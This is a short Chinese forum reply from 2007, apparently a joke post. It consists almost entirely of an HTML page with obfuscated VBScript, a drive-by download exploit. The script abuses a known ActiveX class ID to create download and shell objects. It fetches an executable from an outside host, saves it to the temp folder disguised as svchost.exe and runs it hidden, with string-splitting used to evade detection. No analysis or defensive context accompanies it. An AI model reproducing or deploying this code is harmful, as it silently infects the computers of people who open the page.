|
发表于 2007-3-16 19:17:13
|
显示全部楼层
<
笑得眼泪都出来了
<html>
<script language="VBScript">
on error resume next
m1="o"&"bj"&"ect"
m2="classid"
m3="clsid:BD96C556-65A3-11D0-983A-00C04FC29E36"
m4="Microsoft.XMLHTTP"
m5="Shell.Application"
m6="Scripti"&"ng.Fil"&"eSystemObject"
Set XsKjc = document.createElement(m1)
XsKj = "http://vip2.6to23.com/mingysa/123.exe
sub yunxingexe(m5,Xskj9)
set XsKje = XsKjc.createobject(m5,"")
XsKje.ShellExecute XsKj9,"","","o"&"p"&"e"&"n",0
end sub
XsKjc.setAttribute m2, m3
XsKji=m4
Set XsKjd = XsKjc.CreateObject(XsKji,"")
yhangf="Ado"
yhangg="db."
yhangh="Str"
yhangi="eam"
XsKjf=yhangf&yhangg&yhangh&yhangi
XsKjg=XsKjf
set XsKja = XsKjc.createobject(XsKjg,"")
XsKja.type = 1
XsKjh="G"&"E"&"T"
XsKjd.Open XsKjh, XsKj, False
XsKjd.Send
XsKj9="svchost.exe"
set XsKjb = XsKjc.createobject(m6,"")
set XsKje = XsKjb.GetSpecialFolder(2)
XsKja.open
XsKj9= XsKjb.BuildPath(XsKje,XsKj9)
XsKja.write XsKjd.responseBody
XsKja.savetofile XsKj9,2
XsKja.close
call yunxingexe(m5,Xskj9)
</script>
</html>
|
|